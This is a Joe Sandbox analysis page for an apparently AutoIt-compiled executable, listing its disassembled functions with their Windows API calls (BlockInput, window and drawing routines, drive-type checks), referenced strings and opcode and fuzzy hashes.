Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8a9898f8e2676e52d6d83aabc7580a0f44725ff2d773ce1ad7aa1e1b10b6f4ba
Instruction ID: b7a92bde5cf28003a7bb6a64466ae2eba638a02fae7e87b6831126f2eb737a0b
Opcode Fuzzy Hash: 8a9898f8e2676e52d6d83aabc7580a0f44725ff2d773ce1ad7aa1e1b10b6f4ba
Instruction Fuzzy Hash: E9124D71900229DFDF14CF58C9816FEBBB6FF48710F14819AE949EB255EB349A81CB90

Function 0065EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0065EABD

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: eca9f20db209f54ffd180c67b5a6f3ba276fb506a11efb3dbc0d49b46b42d545
Instruction ID: 09a0df82b9112cc12f06c47f515c3a05a1302faaa6ad209f70b0046bf1d61b4b
Opcode Fuzzy Hash: eca9f20db209f54ffd180c67b5a6f3ba276fb506a11efb3dbc0d49b46b42d545
Instruction Fuzzy Hash: A8E01A312002059FD714EF6AD848E9ABBEEBF98761F00841AFD4AC7351DA71E9458B90

Function 006009D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,006003EE), ref: 006009DA

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a54c304c889e04c2e520d458d377545b77e5678e5d16035585115f7f199e0f8e
Instruction ID: b7ff286092e50a4541089129221c75c503fb04c548906156d47f46dd29a29381
Opcode Fuzzy Hash: a54c304c889e04c2e520d458d377545b77e5678e5d16035585115f7f199e0f8e
Instruction Fuzzy Hash:

Function 0060781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 0060798B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: 13494bc7800c11ea0913492aeccdc7bc7ed035c14d54938e5a74f044b3aa7faa
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: FC515961FCC6455BDB3C8568885D7FF63879B52300F18852AD886D73C2CA15FE42D36A

Function 00652046 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

0&k, xrefs: 00652053

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: 0&k
API String ID: 0-3264481142
Opcode ID: 35cf5c283b6673ef2ba286b2d1c46d83ded76f024b050c01aefe5ac4f6f38886
Instruction ID: 399d522470fb9255869d2aaccb39e9c2a1a70b4cdb228982d3d46e43fac3f13a
Opcode Fuzzy Hash: 35cf5c283b6673ef2ba286b2d1c46d83ded76f024b050c01aefe5ac4f6f38886
Instruction Fuzzy Hash: B921BB726615118BD72CCF79C8236BE73E6A754310F15862EE4A7C77D0DE35A944C740

Function 00616DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d4f61b558c71a5829259ea52b0cf25dfa2d7345998e1277cfcbb537052f18d4
Instruction ID: bd4724d6720de67db9d93434d7071098a867e3779116591335fbf8a8a0f1cae1
Opcode Fuzzy Hash: 1d4f61b558c71a5829259ea52b0cf25dfa2d7345998e1277cfcbb537052f18d4
Instruction Fuzzy Hash: F7320331D29F014DD7239634D832375A69AAFB73C5F19D737E81AB5AA5EB29C4C34200

Function 005FCC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9575f44f9fb34fd672067777c0ed4126423ec66feb302f205dec4dfe883abbc
Instruction ID: 21dfa1360da2c4b7bd1c0ef4907cf3d506a32e83d54e217211586c83d8ee217a
Opcode Fuzzy Hash: b9575f44f9fb34fd672067777c0ed4126423ec66feb302f205dec4dfe883abbc
Instruction Fuzzy Hash: 58320631A0015D8BCF24DB29C5946BD7FA3FF45320F28856AF95AAB391D634DD81DB80

Function 005E7920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6beeb785a7b548a7b64008677353d6e114fdb4046dc9e853ac4e95c7661346cc
Instruction ID: 6ab3332d3335d41ab2d0cc6a3ade7759f63c3f67306f4b0e197aa8da563abc6a
Opcode Fuzzy Hash: 6beeb785a7b548a7b64008677353d6e114fdb4046dc9e853ac4e95c7661346cc
Instruction Fuzzy Hash: 0622C070A04A5ADFDF18DF65D881AAEBBF6FF48300F104529E852A7291EB35AD11CF50

Function 005E91C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c5fddd044b48e3930851721e5577b8489d466095a13952219930dc762a6327e
Instruction ID: 4d1f439251f68b7108b8fcfa3b408f2d2501bae4d8641717b16e47de21a3c5dc
Opcode Fuzzy Hash: 9c5fddd044b48e3930851721e5577b8489d466095a13952219930dc762a6327e
Instruction Fuzzy Hash: 0302D6B0E0061AEBDF04DF55D885AAEBBB2FF44300F108569E9569B391E731AE11CF91

Function 00619EEE Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a38073bc4e01d690bfec1a4fbd840091189e56dbee9735b92018dc5dbc4b1a9
Instruction ID: 01537507779d5d5959b563531eb34a6b2fec578b50b56e5e99469810d048154a
Opcode Fuzzy Hash: 4a38073bc4e01d690bfec1a4fbd840091189e56dbee9735b92018dc5dbc4b1a9
Instruction Fuzzy Hash: FBB1F430D2AF905ED72396398831336B65D6FBB6D5F51E71BFC1674E22EB2185834240

Function 00607A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbe48bb53bee526dd4c78a07af0508160a38389adbf219fa0fecf5b45bce684a
Instruction ID: 4a9ed6ab4ec003b5d0c2762183e313bf82b8bf4fa35802dd8179b525a136336b
Opcode Fuzzy Hash: bbe48bb53bee526dd4c78a07af0508160a38389adbf219fa0fecf5b45bce684a
Instruction Fuzzy Hash: 61612321FC87496AEA7C9D2889A5BFF3397DB51300F10091DE882CB3C1DB51BE428369

Function 00607CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c4ccb032dd30ec61fcb4a08400618765d79746e9c0e8eab4b86bedde211202
Instruction ID: adefa82553dfde103bba0e343f4d7ce9fd3edb53a373af199a993a9ba78364ea
Opcode Fuzzy Hash: b9c4ccb032dd30ec61fcb4a08400618765d79746e9c0e8eab4b86bedde211202
Instruction Fuzzy Hash: 5E616971EC870966DE3C9A289855BFF2397EF42704F10095DE982DB3C1EA52FD428359

Function 00662ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00662B30
DeleteObject.GDI32(00000000), ref: 00662B43
DestroyWindow.USER32 ref: 00662B52
GetDesktopWindow.USER32 ref: 00662B6D
GetWindowRect.USER32(00000000), ref: 00662B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00662CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00662CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662CF8
GetClientRect.USER32(00000000,?), ref: 00662D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00662D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662D80
GlobalLock.KERNEL32(00000000), ref: 00662D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662D98
GlobalUnlock.KERNEL32(00000000), ref: 00662DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662DA8
GlobalFree.KERNEL32(00000000), ref: 00662DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0067FC38,00000000), ref: 00662DDB
GlobalFree.KERNEL32(00000000), ref: 00662DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00662E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00662E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00662E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0066303F

Strings

static, xrefs: 00662D3A, 00662E91
AutoIt v3, xrefs: 00662CF2
, xrefs: 00662FC5
DISPLAY, xrefs: 00662EA2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: e69520ce339e2e2dd2e5681bddc6cada40047d752e4a99b79b099c06631a9167
Instruction ID: ee71c9b7040162a05baec70188f88af251824b27137c2bcf18f950d458c3d578
Opcode Fuzzy Hash: e69520ce339e2e2dd2e5681bddc6cada40047d752e4a99b79b099c06631a9167
Instruction Fuzzy Hash: FA028D71500205EFDB18DF64CC99EAE7BBAFF49720F048159F919AB2A1DB70AD41CB60

Function 006770D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0067712F
GetSysColorBrush.USER32(0000000F), ref: 00677160
GetSysColor.USER32(0000000F), ref: 0067716C
SetBkColor.GDI32(?,000000FF), ref: 00677186
SelectObject.GDI32(?,?), ref: 00677195
InflateRect.USER32(?,000000FF,000000FF), ref: 006771C0
GetSysColor.USER32(00000010), ref: 006771C8
CreateSolidBrush.GDI32(00000000), ref: 006771CF
FrameRect.USER32(?,?,00000000), ref: 006771DE
DeleteObject.GDI32(00000000), ref: 006771E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00677230
FillRect.USER32(?,?,?), ref: 00677262
GetWindowLongW.USER32(?,000000F0), ref: 00677284

Part of subcall function 006773E8: GetSysColor.USER32(00000012), ref: 00677421
Part of subcall function 006773E8: SetTextColor.GDI32(?,?), ref: 00677425
Part of subcall function 006773E8: GetSysColorBrush.USER32(0000000F), ref: 0067743B
Part of subcall function 006773E8: GetSysColor.USER32(0000000F), ref: 00677446
Part of subcall function 006773E8: GetSysColor.USER32(00000011), ref: 00677463
Part of subcall function 006773E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00677471
Part of subcall function 006773E8: SelectObject.GDI32(?,00000000), ref: 00677482
Part of subcall function 006773E8: SetBkColor.GDI32(?,00000000), ref: 0067748B
Part of subcall function 006773E8: SelectObject.GDI32(?,?), ref: 00677498
Part of subcall function 006773E8: InflateRect.USER32(?,000000FF,000000FF), ref: 006774B7
Part of subcall function 006773E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 006774CE
Part of subcall function 006773E8: GetWindowLongW.USER32(00000000,000000F0), ref: 006774DB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 1ac2f0221084444dd3599b367166d49f456e652e467fb32832453f2c91d54b36
Instruction ID: 10fb706fb82f38d7c2be258d644866c23d50567f65d58350f603a65aa678fe02
Opcode Fuzzy Hash: 1ac2f0221084444dd3599b367166d49f456e652e467fb32832453f2c91d54b36
Instruction Fuzzy Hash: ADA1A072008301AFD704DF64DC48A6B7BAAFF49331F105A2DFA6A961E1D771E984CB51

Function 00662711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0066273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0066286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 006628A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 006628B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00662900
GetClientRect.USER32(00000000,?), ref: 0066290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00662955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00662964
GetStockObject.GDI32(00000011), ref: 00662974
SelectObject.GDI32(00000000,00000000), ref: 00662978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00662988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00662991
DeleteDC.GDI32(00000000), ref: 0066299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 006629C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 006629DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00662A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00662A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00662A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00662A77
GetStockObject.GDI32(00000011), ref: 00662A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00662A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00662A97

Strings

static, xrefs: 0066294F, 00662A71
AutoIt v3, xrefs: 006628F8
msctls_progress32, xrefs: 00662A13
DISPLAY, xrefs: 0066295A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 37eafa6a532194deff6da36cef4feff5377335989bca333ac180b159148d069f
Instruction ID: adb202461afba287201e4c20b5ca683b79e919c8d1979de84531947c33aec655
Opcode Fuzzy Hash: 37eafa6a532194deff6da36cef4feff5377335989bca333ac180b159148d069f
Instruction Fuzzy Hash: B2B15CB1A00605BFEB14DF69DC99FAE7BAAFB49710F104219F915EB290D770AD40CB90

Function 00654ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00654AED
GetDriveTypeW.KERNEL32(?,0067CB68,?,\\.\,0067CC08), ref: 00654BCA
SetErrorMode.KERNEL32(00000000,0067CB68,?,\\.\,0067CC08), ref: 00654D36

Strings

ATAPI, xrefs: 00654C91
1394, xrefs: 00654C9F
PhysicalDrive, xrefs: 00654B76
Unknown, xrefs: 00654BED, 00654C83
Network, xrefs: 00654C02
Removable, xrefs: 00654C10, 00654C15
SCSI, xrefs: 00654C8A
RAID, xrefs: 00654CBB
SAS, xrefs: 00654CC9
USB, xrefs: 00654CB4
MMC, xrefs: 00654CDE
SSA, xrefs: 00654CA6
\\.\, xrefs: 00654B3F
CDROM, xrefs: 00654BFB
ATA, xrefs: 00654C98
Virtual, xrefs: 00654CE5
SATA, xrefs: 00654CD0
FileBackedVirtual, xrefs: 00654CEC
Fixed, xrefs: 00654C09
RAMDisk, xrefs: 00654BF4
SSD, xrefs: 00654C4A
iSCSI, xrefs: 00654CC2
Fibre, xrefs: 00654CAD

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: dc9e6084ea0fad41df773ebc9f912c7f8dad71c5c9a2ac77fce3167b2e9b7d27
Instruction ID: a17ffe52fae2c6b70dc0918df677f02583e0e65149578382e2eb3e5356afc6db
Opcode Fuzzy Hash: dc9e6084ea0fad41df773ebc9f912c7f8dad71c5c9a2ac77fce3167b2e9b7d27
Instruction Fuzzy Hash: 8F61B430606106ABCB08EF24C9859AC7BB3AF8534AF244495FC06AB291DF31DDCADF41

Function 006773E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00677421
SetTextColor.GDI32(?,?), ref: 00677425
GetSysColorBrush.USER32(0000000F), ref: 0067743B
GetSysColor.USER32(0000000F), ref: 00677446
CreateSolidBrush.GDI32(?), ref: 0067744B
GetSysColor.USER32(00000011), ref: 00677463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00677471
SelectObject.GDI32(?,00000000), ref: 00677482
SetBkColor.GDI32(?,00000000), ref: 0067748B
SelectObject.GDI32(?,?), ref: 00677498
InflateRect.USER32(?,000000FF,000000FF), ref: 006774B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 006774CE
GetWindowLongW.USER32(00000000,000000F0), ref: 006774DB
